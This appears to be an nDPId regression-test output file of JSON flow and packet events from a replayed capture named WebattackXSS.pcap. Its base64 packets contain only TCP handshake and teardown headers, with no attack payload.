+00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":731,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1499347051144,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53098,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":731,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347051,"pkt_ts_usec":144619,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA82StAAD4G7KSsEAABwKgKMs9qAFDGDOBHAAAAAKACchCuTwAAAgQFtAQCCAoBOTlsAAAAAAEDAwc="} +00442{"flow_id":51,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":732,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347051,"pkt_ts_usec":144745,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQz2oBc4vXxgzgSKAScSATHgAAAgQFtAQCCAoD4wrjATk5bAEDAwc="} +00430{"flow_id":51,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":733,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347051,"pkt_ts_usec":145327,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02SxAAD4G7KusEAABwKgKMs9qAFDGDOBIAXOL2IAQAOWyJAAAAQEICgE5OW0D4wrj"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":740,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1499347052434,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53112,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":740,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347052,"pkt_ts_usec":434886,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8athAAD4GWvisEAABwKgKMs94AFBfSFB3AAAAAKACchCjkwAAAgQFtAQCCAoBOTqvAAAAAAEDAwc="} +00442{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":741,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347052,"pkt_ts_usec":435011,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQz3hoydAQX0hQeKAScSBbjwAAAgQFtAQCCAoD4wwmATk6rwEDAwc="} +00430{"flow_id":52,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":742,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347052,"pkt_ts_usec":435576,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0atlAAD4GWv+sEAABwKgKMs94AFBfSFB4aMnQEYAQAOX6lgAAAQEICgE5Oq8D4wwm"} +00430{"flow_id":49,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":746,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347052,"pkt_ts_usec":622402,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rO5AAD4GGOqsEAABwKgKMs9CAFBNBJl0PHBsA4ARAOVZXQAAAQEICgE5Ot4D4wcV"} +00430{"flow_id":49,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":747,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347052,"pkt_ts_usec":622617,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0YFZAAEAGY4LAqAoyrBAAAQBQz0I8cGwDTQSZdYARAONUHgAAAQEICgPjDFUBOTre"} +00430{"flow_id":49,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":748,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347052,"pkt_ts_usec":623168,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rO9AAD4GGOmsEAABwKgKMs9CAFBNBJl1PHBsBIAQAOVUHAAAAQEICgE5Ot4D4wxV"} +00430{"flow_id":50,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":752,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347053,"pkt_ts_usec":623172,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rW9AAD4GGGmsEAABwKgKMs9QAFDoOZuP8TbVrIARAOWbTwAAAQEICgE5O9gD4wha"} +00430{"flow_id":50,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":753,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347053,"pkt_ts_usec":623383,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA02ONAAEAG6vTAqAoyrBAAAQBQz1DxNtWs6DmbkIARAOOWWwAAAQEICgPjDU8BOTvY"} +00430{"flow_id":50,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":754,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347053,"pkt_ts_usec":624108,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rXBAAD4GGGisEAABwKgKMs9QAFDoOZuQ8TbVrYAQAOWWWQAAAQEICgE5O9gD4w1P"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":755,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1499347053735,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53126,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":755,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347053,"pkt_ts_usec":735968,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8TcZAAD4GeAqsEAABwKgKMs+GAFAPQXYyAAAAAKACchDMjAAAAgQFtAQCCAoBOTv0AAAAAAEDAwc="} +00442{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":756,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347053,"pkt_ts_usec":736095,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQz4b8rqheD0F2M6AScSAXEAAAAgQFtAQCCAoD4w1rATk79AEDAwc="} +00432{"flow_id":53,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":757,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347053,"pkt_ts_usec":736851,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TcdAAD4GeBGsEAABwKgKMs+GAFAPQXYz\/K6oX4AQAOW2FgAAAQEICgE5O\/UD4w1r"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":770,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1499347056332,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53152,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":770,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347056,"pkt_ts_usec":332919,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8GMxAAD4GrQSsEAABwKgKMs+gAFAIRCayAAAAAKACchAgZgAAAgQFtAQCCAoBOT5+AAAAAAEDAwc="} +00443{"flow_id":54,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":771,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347056,"pkt_ts_usec":333052,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQz6DSyc0OCEQms6AScSBtlQAAAgQFtAQCCAoD4w\/0ATk+fgEDAwc="} +00431{"flow_id":54,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":772,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347056,"pkt_ts_usec":333833,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GM1AAD4GrQusEAABwKgKMs+gAFAIRCaz0snND4AQAOUMnQAAAQEICgE5Pn4D4w\/0"} +00430{"flow_id":51,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":776,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347056,"pkt_ts_usec":623980,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02S1AAD4G7KqsEAABwKgKMs9qAFDGDOBIAXOL2IARAOWsygAAAQEICgE5PsYD4wrj"} +00431{"flow_id":51,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":777,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347056,"pkt_ts_usec":624200,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0m+VAAEAGJ\/PAqAoyrBAAAQBQz2oBc4vYxgzgSYARAOOncQAAAQEICgPjED0BOT7G"} +00430{"flow_id":51,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":778,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347056,"pkt_ts_usec":624952,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02S5AAD4G7KmsEAABwKgKMs9qAFDGDOBJAXOL2YAQAOWnbgAAAQEICgE5PscD4xA9"} +00430{"flow_id":52,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":782,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347057,"pkt_ts_usec":624266,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0atpAAD4GWv6sEAABwKgKMs94AFBfSFB4aMnQEYARAOX1hAAAAQEICgE5P8AD4wwm"} +00431{"flow_id":52,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":783,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347057,"pkt_ts_usec":624486,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0wSZAAEAGArLAqAoyrBAAAQBQz3hoydARX0hQeYARAOPwdAAAAQEICgPjETcBOT\/A"} +00430{"flow_id":52,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":784,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347057,"pkt_ts_usec":625240,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0attAAD4GWv2sEAABwKgKMs94AFBfSFB5aMnQEoAQAOXwcQAAAQEICgE5P8ED4xE3"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":785,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1499347057628,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53166,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":785,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347057,"pkt_ts_usec":628057,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8yDFAAD4G\/Z6sEAABwKgKMs+uAFAuuffwAAAAAKACchAnYQAAAgQFtAQCCAoBOT\/BAAAAAAEDAwc="} +00443{"flow_id":55,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":786,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347057,"pkt_ts_usec":628125,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQz662huYkLrn38aAScSB2eQAAAgQFtAQCCAoD4xE4ATk\/wQEDAwc="} +00431{"flow_id":55,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":787,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347057,"pkt_ts_usec":628868,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0yDJAAD4G\/aWsEAABwKgKMs+uAFAuuffxtobmJYAQAOUVgAAAAQEICgE5P8ID4xE4"} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":791,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":6,"flow_first_seen":1499346983175,"flow_last_seen":1499346988608,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52386,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":791,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":6,"flow_first_seen":1499346983175,"flow_last_seen":1499346988608,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52386,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":791,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":6,"flow_first_seen":1499346984469,"flow_last_seen":1499346989608,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52400,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":791,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":6,"flow_first_seen":1499346984469,"flow_last_seen":1499346989608,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52400,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":791,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":7,"flow_first_seen":1499346985762,"flow_last_seen":1499346991610,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52414,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":791,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":7,"flow_first_seen":1499346985762,"flow_last_seen":1499346991610,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52414,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":791,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":6,"flow_first_seen":1499346988319,"flow_last_seen":1499346993610,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52440,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":791,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":6,"flow_first_seen":1499346988319,"flow_last_seen":1499346993610,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52440,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":791,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":6,"flow_first_seen":1499346989580,"flow_last_seen":1499346994610,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52454,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":791,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":6,"flow_first_seen":1499346989580,"flow_last_seen":1499346994610,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52454,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":791,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":6,"flow_first_seen":1499346992144,"flow_last_seen":1499346997611,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52480,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":791,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":6,"flow_first_seen":1499346992144,"flow_last_seen":1499346997611,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52480,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":791,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":6,"flow_first_seen":1499346993434,"flow_last_seen":1499346998611,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52494,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":791,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":6,"flow_first_seen":1499346993434,"flow_last_seen":1499346998611,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52494,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":53,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":797,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347059,"pkt_ts_usec":624902,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TchAAD4GeBCsEAABwKgKMs+GAFAPQXYz\/K6oX4ARAOWwVQAAAQEICgE5QbUD4w1r"} +00430{"flow_id":53,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":798,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347059,"pkt_ts_usec":625113,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0u3RAAEAGCGTAqAoyrBAAAQBQz4b8rqhfD0F2NIARAOOqlgAAAQEICgPjEysBOUG1"} +00431{"flow_id":53,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":799,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347059,"pkt_ts_usec":625881,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TclAAD4GeA+sEAABwKgKMs+GAFAPQXY0\/K6oYIAQAOWqlAAAAQEICgE5QbUD4xMr"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":803,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1499347060176,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53192,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":803,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347060,"pkt_ts_usec":176542,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8TeFAAD4Gd++sEAABwKgKMs\/IAFAgqg\/fAAAAAKACchAa6wAAAgQFtAQCCAoBOUI+AAAAAAEDAwc="} +00442{"flow_id":56,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":804,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347060,"pkt_ts_usec":176673,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQz8g7I8+hIKoP4KAScSD5bAAAAgQFtAQCCAoD4xO1ATlCPgEDAwc="} 